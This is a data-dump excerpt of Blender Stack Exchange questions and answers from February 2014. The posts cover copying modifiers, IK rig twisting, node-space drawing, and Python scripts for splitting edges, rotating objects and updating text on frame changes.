  <row Id="6960" PostTypeId="1" CreationDate="2014-02-11T08:42:09.300" Score="6" ViewCount="4966" Body="&lt;p&gt;I must be doing something wrong, I select my object which has two modifiers, press space, search for &quot;Copy Modifier&quot;, and select it. I get the error message&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;&lt;strong&gt;The object the data pointer refers to is not a valid modifier&lt;/strong&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also had no luck with copying stuff like Materials.&lt;/p&gt;&#xA;" OwnerUserId="755" LastEditorUserId="1112" LastEditDate="2014-04-03T06:43:40.187" LastActivityDate="2014-04-03T06:43:40.187" Title="How to copy Modifiers" Tags="&lt;materials&gt;&lt;modifiers&gt;&lt;interface&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6961" PostTypeId="2" ParentId="6947" CreationDate="2014-02-11T08:50:07.597" Score="5" Body="&lt;p&gt;No you can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can animate the visibility of objects so that on impact the original object is hidden and a replacement becomes visible. Object transparency is another property you may want to animate to ease the transition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The render visibility is shown as a camera in the outliner, with the mouse over the camera for the object press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; to insert a keyframe for the value. The same can be done for other values like transparency in BI materials or Cycles nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to render two sequences and mix the two together to get more control over how and when they replace each other.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="2173" LastEditDate="2014-04-19T03:57:08.290" LastActivityDate="2014-04-19T03:57:08.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6962" PostTypeId="2" ParentId="6960" CreationDate="2014-02-11T09:22:36.157" Score="-2" Body="&lt;p&gt;You need to run these copy operators in a proper context, or they won't know what to copy.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;em&gt;Properties Editor&lt;/em&gt;, use the &lt;em&gt;Copy&lt;/em&gt; button in the &lt;em&gt;Modifiers&lt;/em&gt; tab to duplicate.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;em&gt;Material&lt;/em&gt; tab, use the &lt;em&gt;Material Specials&lt;/em&gt; menu button (red arrow) and chose &lt;em&gt;Copy Material&lt;/em&gt;.&lt;br&gt;&lt;br&gt;&lt;em&gt;Paste Material&lt;/em&gt; with &lt;em&gt;Material.001&lt;/em&gt; selected would copy the material settings over and make it purple as well. It does not create a new material or replace the slot by &lt;em&gt;Material&lt;/em&gt;.&#xA;&lt;br&gt;&lt;br&gt;&lt;img src=&quot;https://i.stack.imgur.com/2PEEY.png&quot; alt=&quot;Modifier / Material Copy&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-11T09:22:36.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6963" PostTypeId="2" ParentId="6960" CreationDate="2014-02-11T09:41:03.843" Score="7" Body="&lt;p&gt;Searching the error message in the source code shows 3 occurances, it appears that the &quot;&lt;em&gt;Copy Modifiers&lt;/em&gt;&quot; operator is only available for some freestyle settings.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender-2.69\source\blender\editors\render\render_shading.c&#xA;            BKE_report(op-&amp;gt;reports, RPT_ERROR, &quot;The object the data pointer refers to is not a valid modifier&quot;);&#xA;            BKE_report(op-&amp;gt;reports, RPT_ERROR, &quot;The object the data pointer refers to is not a valid modifier&quot;);&#xA;            BKE_report(op-&amp;gt;reports, RPT_ERROR, &quot;The object the data pointer refers to is not a valid modifier&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As described here &lt;a href=&quot;https://blender.stackexchange.com/questions/319/add-the-same-modifier-to-multiple-objects-at-once&quot;&gt;Add the Same Modifier to Multiple Objects at Once?&lt;/a&gt; you could link the modifiers using &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;L&lt;/kbd&gt; (Make Links) and select &lt;em&gt;Modifiers&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.make_links_data(type='MODIFIERS')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-02-11T09:41:03.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6964" PostTypeId="1" AcceptedAnswerId="6968" CreationDate="2014-02-11T09:49:40.980" Score="2" ViewCount="916" Body="&lt;p&gt;I'm working on some features for &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Nodes/Nodes_Efficiency_Tools&quot; rel=&quot;nofollow&quot;&gt;Node Wrangler&lt;/a&gt; and seem to be a bit stumped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The task is to draw some text and shapes using the BGL module near a certain node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BGL is drawn in screen space (the origin always at the bottom left and measured in pixels).&#xA;However the node location is kept in some kind of region space, the origin being the origin of the background grid and is not measured in pixels (for example, some node is 200 units wide no matter what zoom level you're at)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I find the coordinate of some node converted to screen space, so that I can draw some BGL stuff near it?&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2014-02-11T11:31:26.283" Title="Get screen space coordinate for node position" Tags="&lt;python&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6965" PostTypeId="1" CreationDate="2014-02-11T10:18:01.067" Score="1" ViewCount="3470" Body="&lt;p&gt;When i apply this rig i have here to my test model.&#xA;With automatic weights. It totally twists my model.&#xA;Any clue whats causing this? I tried to mess with the poles rotation.&#xA;And i tried to apply rotation and scale.. nothings helping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Picture:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0I4AH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;I found out that when i disable the Pole targets it seems to do it right.&#xA;But how can i make it right with poles enabled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TCS3U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2440" LastEditorUserId="2440" LastEditDate="2014-02-11T10:34:15.477" LastActivityDate="2014-02-11T10:54:44.640" Title="IK + Pole Target {Rig} is =//= Twisting my Characters Mesh" Tags="&lt;armature&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6966" PostTypeId="2" ParentId="6910" CreationDate="2014-02-11T10:24:14.263" Score="0" Body="&lt;p&gt;Here is a full implication of pink vertex's solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Thanks to CoDEmanX!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d6R1g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uGc66.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Edge-Splitter&#xA;#&#xA;# π 11.2.2014&#xA;#&#xA;# Repeatedly splits all edges with length &amp;gt; max_threshold and re-triangulates&#xA;#&#xA;#   To load, one of the following:&#xA;#      1) paste into blender's inbuilt text editor, which has a menu option for &quot;run script&quot;, which you need to do.&#xA;#      2) type into blender python prompt:&#xA;#        f='/path/to/???.py'; exec(   compile( open(f).read(), f, 'exec' )   )&#xA;#      3) Place in Blender's Addons folder (on my Mac it is /Applications/Blender.app/Contents/MacOS/2.69/scripts/addons/)&#xA;#          and InfoBar -&amp;gt; File -&amp;gt; User Prefs -&amp;gt; Addons -&amp;gt; (find and check it)&#xA;#&#xA;# NOTE: You can also make your own scripts folder and InfoBar -&amp;gt; File -&amp;gt; User Prefs -&amp;gt; File -&amp;gt; Scripts -&amp;gt; [ type it here ]&#xA;# &#xA;# To use:&#xA;#    * With target object selected&#xA;#    * in edit mode&#xA;#    * with the mouse over the 3-D view&#xA;#   Hit SpaceBar&#xA;#&#xA;#   ...and search for &quot;LimitEdgeLen&quot;&#xA;#&#xA;#   Adjust the max edge length in the panel&#xA;&#xA;bl_info = {&#xA;    &quot;name&quot;        : &quot;Limit Edge Length&quot;,&#xA;    &quot;author&quot;      : &quot;pi&quot;,&#xA;    &quot;version&quot;     : (1, 0),&#xA;    &quot;blender&quot;     : (2, 67, 0),&#xA;    &quot;location&quot;    : &quot;View3D &amp;gt; T-panel &amp;gt; Object Tools&quot;,&#xA;    &quot;description&quot; : &quot;foo&quot;,&#xA;    &quot;warning&quot;     : &quot;&quot;,&#xA;    &quot;wiki_url&quot;    : &quot;&quot;,&#xA;    &quot;tracker_url&quot; : &quot;&quot;,&#xA;    &quot;category&quot;    : &quot;Add Mesh&quot;&#xA;    }&#xA;&#xA;import bpy, bmesh&#xA;&#xA;from mathutils import Vector&#xA;&#xA;# http://blenderscripting.blogspot.co.uk/2013/05/adding-geometry-to-existing-geometry.html&#xA;&#xA;def main( context, maxlen ):&#xA;    obj = bpy.context.object&#xA;    me = obj.data&#xA;&#xA;    bpy.ops.object.mode_set( mode = 'EDIT' )&#xA;&#xA;    bm = bmesh.from_edit_mesh( me )&#xA;&#xA;&#xA;    #do ... while&#xA;    while( True ):&#xA;&#xA;        long_edges = [ e for e in bm.edges if e.calc_length() &amp;gt; maxlen ]&#xA;&#xA;        if not long_edges:&#xA;            break&#xA;&#xA;        bmesh.ops.subdivide_edges(&#xA;            bm,&#xA;            edges=long_edges,&#xA;            cuts=1&#xA;            #use_single_edge=True,&#xA;            #use_grid_fill=True&#xA;           )&#xA;&#xA;        bmesh.ops.triangulate( bm, faces=bm.faces, use_beauty=True )&#xA;&#xA;    # update, while in edit mode  &#xA;    # thanks to ideasman42 for making this clear  &#xA;    # http://blender.stackexchange.com/questions/414/  &#xA;    bmesh.update_edit_mesh( me )&#xA;&#xA;    # bpy.context.scene.update()&#xA;&#xA;&#xA;class MESH_OT_limit_edge_length( bpy.types.Operator ):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;mesh.limit_edge_length&quot;&#xA;    bl_label = &quot;Limit Edge Length&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    maxlen = bpy.props.FloatProperty(&#xA;        name        = &quot;Max Length&quot;,&#xA;        description = &quot;Subdivide edges until below this value&quot;,&#xA;        default     = 0.5,&#xA;        min         = 0.001, &#xA;        max         = 999&#xA;        )&#xA;&#xA;    @classmethod&#xA;    def poll( cls, context ):&#xA;        return ( context.object is not None  and&#xA;                context.object.type == 'MESH' )&#xA;&#xA;    def invoke( self, context, event ):&#xA;        return context.window_manager.invoke_props_dialog( self )&#xA;&#xA;    def execute( self, context ):&#xA;        main( context, self.maxlen )&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def draw_func( self, context ):&#xA;    layout = self.layout&#xA;    layout.operator( MESH_OT_limit_edge_length.bl_idname )&#xA;&#xA;&#xA;def register( ):&#xA;    bpy.utils.register_class( MESH_OT_limit_edge_length )&#xA;    bpy.types.VIEW3D_PT_tools_objectmode.prepend( draw_func )&#xA;&#xA;&#xA;def unregister( ):&#xA;    bpy.utils.unregister_class( MESH_OT_limit_edge_length )&#xA;    bpy.types.VIEW3D_PT_tools_objectmode.remove( draw_func )&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register( )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2014-02-11T10:24:14.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6967" PostTypeId="2" ParentId="6965" CreationDate="2014-02-11T10:54:44.640" Score="1" Body="&lt;p&gt;Turning on Axes for the bones can be really helpful when things twist, and/or before parenting mesh to rig. Like it seems in your case, the twist occurs when you parent mesh to rig with Auto-Weights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect a complete bone rotation in Y axis in one step, (Y axis is Up for bones)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So probably step 1 can solve it, step 2) 3) are more indepth regarding IK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sg6oY.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;What happens if you change IK Solver to iTaSC&#xA;&lt;img src=&quot;https://i.stack.imgur.com/udwWq.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Sometimes adding stiffness can solve at least weird rotational behaviour.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KLDxQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="755" LastActivityDate="2014-02-11T10:54:44.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6968" PostTypeId="2" ParentId="6964" CreationDate="2014-02-11T11:31:26.283" Score="2" Body="&lt;p&gt;There are two utility functions for regions to convert 2D spaces:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Region.view2d.region_to_view()&#xA;Region.view2d.view_to_region()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-- &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.types.View2D.html?highlight=region_to_view#bpy.types.View2D.region_to_view&quot; rel=&quot;nofollow&quot;&gt;API Docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might not even need it, try &lt;code&gt;'POST_VIEW'&lt;/code&gt; for your draw callback:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.SpaceNodeEditor.draw_handler_add(draw_callback_px, args, 'WINDOW', 'POST_VIEW')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This set, you can draw in the &lt;strong&gt;node space&lt;/strong&gt; in your callback function, unlike &lt;code&gt;'POST_PIXEL'&lt;/code&gt;, which will always give you the screen space.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-11T11:31:26.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6969" PostTypeId="1" AcceptedAnswerId="6970" CreationDate="2014-02-11T12:12:01.750" Score="4" ViewCount="3440" Body="&lt;p&gt;What Python command rotates an object around the 3D Cursor?&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="1112" LastEditDate="2016-09-15T18:57:08.220" LastActivityDate="2016-09-15T18:57:08.220" Title="Rotate object around cursor with Python" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6970" PostTypeId="2" ParentId="6969" CreationDate="2014-02-11T12:12:01.750" Score="6" Body="&lt;p&gt;Assume you already have the &lt;code&gt;Pivot Point&lt;/code&gt; set to &lt;code&gt;3D Cursor&lt;/code&gt; (although this could be done in Python also)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UvrEv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the operator &lt;code&gt;bpy.ops.transform.rotate()&lt;/code&gt;, but you need to override the context or else it will only rotate around the object's median point.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def get_override(area_type, region_type):&#xA;    for area in bpy.context.screen.areas: &#xA;        if area.type == area_type:             &#xA;            for region in area.regions:                 &#xA;                if region.type == region_type:                    &#xA;                    override = {'area': area, 'region': region} &#xA;                    return override&#xA;    #error message if the area or region wasn't found&#xA;    raise RuntimeError(&quot;Wasn't able to find&quot;, region_type,&quot; in area &quot;, area_type,&#xA;                        &quot;\n Make sure it's open while executing script.&quot;)&#xA;&#xA;&#xA;#we need to override the context of our operator    &#xA;override = get_override( 'VIEW_3D', 'WINDOW' )&#xA;#rotate about the X-axis by 45 degrees&#xA;bpy.ops.transform.rotate(override, value=6.283/8, axis=(1,0,0))     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-02-11T12:12:01.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6971" PostTypeId="1" AcceptedAnswerId="6973" CreationDate="2014-02-11T12:39:45.360" Score="3" ViewCount="517" Body="&lt;p&gt;A text object's text is supposed to show information like a subtitle. How could the text be changed on a frame # based trigger?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-02-11T12:45:07.463" LastActivityDate="2014-02-12T20:43:56.853" Title="Subtitles or how can a text object be edited before a frame is rendered?" Tags="&lt;python&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6972" PostTypeId="1" AcceptedAnswerId="6974" CreationDate="2014-02-11T12:40:17.940" Score="5" ViewCount="7505" Body="&lt;p&gt;I'm working with models generated as voxels like those showing in the following picture from the internet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aXvXE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to do basically the same you see on the image: turn a voxel-based model into a soft-mesh based one. Don't mind abut texture mapping, just geometry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this achievable in Blender?&lt;/p&gt;&#xA;" OwnerUserId="2391" LastActivityDate="2018-09-14T12:59:31.383" Title="Convert VOXEL model to soft Mesh" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6973" PostTypeId="2" ParentId="6971" CreationDate="2014-02-11T12:41:48.620" Score="3" Body="&lt;p&gt;An &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.app.handlers.html?highlight=frame_change_pre#bpy.app.handlers.frame_change_pre&quot; rel=&quot;nofollow&quot;&gt;application handler&lt;/a&gt; could be used to read subtitle data and display it by editing the text object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.app.handlers import persistent&#xA;&#xA;&#xA;@persistent&#xA;def frame_change(arg):&#xA;    print(&quot;Load Handler:&quot;, bpy.data.filepath)&#xA;    t = bpy.data.objects[&quot;Text&quot;]&#xA;    label = (&quot;Frame # %d&quot; % bpy.context.scene.frame_current)&#xA;    t.data.body = label&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(frame_change)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="55" LastEditDate="2014-02-12T20:43:56.853" LastActivityDate="2014-02-12T20:43:56.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6974" PostTypeId="2" ParentId="6972" CreationDate="2014-02-11T15:08:23.390" Score="6" Body="&lt;p&gt;I can't tell you how to import voxel data into Blender, but if there's no dedicated importer, you can try &lt;a href=&quot;http://meshlab.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MeshLab&lt;/a&gt; to convert to a supported format. For example, PLY or STL to import as vertices. If there's no real surface yet, you may use MeshLab's pointcloud triangulation capabilities and export as .OBJ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have a mesh object in Blender with a surface, try the &lt;strong&gt;Laplacian Smooth Modifier&lt;/strong&gt;, which lets you smooth mesh surfaces while retaining a lot of detail.  Go to &lt;em&gt;Properties Editor &gt; Modifiers&lt;/em&gt; and add it to your object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information: &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/deform/laplacian_smooth.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;official documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2018-09-14T12:59:31.383" LastActivityDate="2018-09-14T12:59:31.383" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="6975" PostTypeId="1" AcceptedAnswerId="6977" CreationDate="2014-02-11T15:23:22.950" Score="14" ViewCount="8734" Body="&lt;p&gt;If the user renames an object, the reference via string key is lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to store a pointer to an object in a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.props.html#bpy.props.PointerProperty&quot;&gt;property assigned&lt;/a&gt; to a class of &lt;code&gt;bpy.types&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; type(obj.bl_rna.properties['parent'])&#xA;&amp;lt;class 'bpy.types.PointerProperty'&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;However &lt;code&gt;type&lt;/code&gt; for &lt;code&gt;PointerProperty&lt;/code&gt; is expected to be a subclass of &lt;code&gt;bpy.types.PropertyGroup&lt;/code&gt; but &lt;code&gt;bpy.types.Object&lt;/code&gt; is inherited from &lt;code&gt;bpy_struct&lt;/code&gt; and &lt;code&gt;bpy.types.ID&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2020-01-01T21:47:43.767" Title="Is it possible to use bpy.props.PointerProperty to store a pointer to an object?" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6976" PostTypeId="2" ParentId="6949" CreationDate="2014-02-11T16:04:14.040" Score="10" Body="&lt;p&gt;Actually, there is no need to create the two empties if you are just going to form an imaginary axis. I think the relatively simple and fast operation here would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do in &lt;strong&gt;Edit mode&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select all elements you want to rotate, then hold &lt;kbd&gt;Shift&lt;/kbd&gt; and click that edge twice to make it active;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt; (period), &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Numpad 1&lt;/kbd&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;R&lt;/kbd&gt; to rotate as you want, then &lt;kbd&gt;Enter&lt;/kbd&gt;. Done.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2hC75.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you want to do in &lt;strong&gt;Object mode:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select one or more objects, make sure the target object is selected last. Select the target edge in &lt;strong&gt;Edit&lt;/strong&gt; mode;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &gt; Cursor to Selected, &lt;kbd&gt;.&lt;/kbd&gt; (period), &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Numpad 1&lt;/kbd&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Back to &lt;strong&gt;Object&lt;/strong&gt; mode, &lt;kbd&gt;R&lt;/kbd&gt; to rotate, &lt;kbd&gt;Enter&lt;/kbd&gt;. Done.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N4vXB.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.:&lt;/strong&gt; Of course, you can press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Spacebar&lt;/kbd&gt; to display as the &lt;strong&gt;Normal&lt;/strong&gt; coordiate system for easy judgement, or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Spacebar&lt;/kbd&gt; to create / store a new transformation orientation based on that for further use, just as others mentiond. I just want to suggest the quickest and accurate way.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-13T12:02:38.540" LastActivityDate="2014-02-13T12:02:38.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6977" PostTypeId="2" ParentId="6975" CreationDate="2014-02-11T16:38:47.293" Score="14" Body="&lt;p&gt;&lt;strike&gt;No, despite the sound of &lt;code&gt;PointerProperty&lt;/code&gt;, its purpose is not to store a pointer/reference to an ID datablock&lt;/strike&gt;. &lt;strong&gt;Update:&lt;/strong&gt; you can use it to reference ID datablocks in Blender 2.79 and above, see the &lt;a href=&quot;https://blender.stackexchange.com/a/98651/1363&quot;&gt;other answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's used to organize a set of properties in a nice way, especially if your addon registers a lot of properties:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Bad, clutters scene objects and may even conflict with other addons&#xA;bpy.types.Scene.my_prop_1 = bpy.props.IntProperty()&#xA;bpy.types.Scene.my_prop_2 = bpy.props.IntProperty()&#xA;bpy.types.Scene.my_prop_3 = bpy.props.IntProperty()&#xA;&#xA;# Good, organize properties as a group&#xA;class MyAddonProperties(bpy.types.PropertyGroup):&#xA;    my_prop_1 = bpy.props.IntProperty()&#xA;    my_prop_2 = bpy.props.IntProperty()&#xA;    my_prop_3 = bpy.props.IntProperty()&#xA;&#xA;bpy.types.Scene.my_addon = bpy.props.PointerProperty(type=MyAddonProperties)&#xA;&#xA;# Access it e.g. like&#xA;#bpy.context.scene.my_addon.my_prop_1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.props.html#propertygroup-example&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.props.html#propertygroup-example&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are looking for is &lt;code&gt;bpy.props.IDProperty&lt;/code&gt;, but we don't have that (shame!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These kind of properties need to be created in C, like &lt;code&gt;Object.parent&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Python, you can only store by name (&lt;code&gt;StringProperty&lt;/code&gt;). Use it together with a &lt;code&gt;CollectionProperty&lt;/code&gt; and &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.UILayout.html#bpy.types.UILayout.prop_search&quot; rel=&quot;nofollow noreferrer&quot;&gt;layout.prop_search()&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: The &lt;code&gt;StringProperty&lt;/code&gt; isn't tied to the object's name. It's possible to abuse app handlers to check for name changes and to update the property accordingly, but I wouldn't consider it very safe nor efficient.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2018-04-27T13:07:37.640" LastActivityDate="2018-04-27T13:07:37.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6978" PostTypeId="1" AcceptedAnswerId="7572" CreationDate="2014-02-11T20:05:04.463" Score="3" ViewCount="7981" Body="&lt;p&gt;I have the  &lt;a href=&quot;http://www.newegg.com/Product/Product.aspx?Item=N82E16814150678&quot; rel=&quot;nofollow&quot;&gt;Radeon R9 280X&lt;/a&gt; video card and was wondering if there was anyway at all to enable GPU rendering with this card? I know Nvidia has CUDA cores and that works. That's good and all, BUT I don't feel like dropping $900 on one of those cards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some research on OpenCL with Blender (which seems to be compatible with AMD cards), but it seems the functionality has been disabled within Blender??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to use cycles with the card, but if that is not a viable option then I'll stick with Blender internal. I just hate CPU based rendering. It takes ages to do the renders.&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="1363" LastEditDate="2014-02-11T20:45:36.170" LastActivityDate="2014-08-28T12:59:47.327" Title="Is OpenCL possible within Blender either via cycles or internal?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;&lt;gpu&gt;&lt;opengl&gt;" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
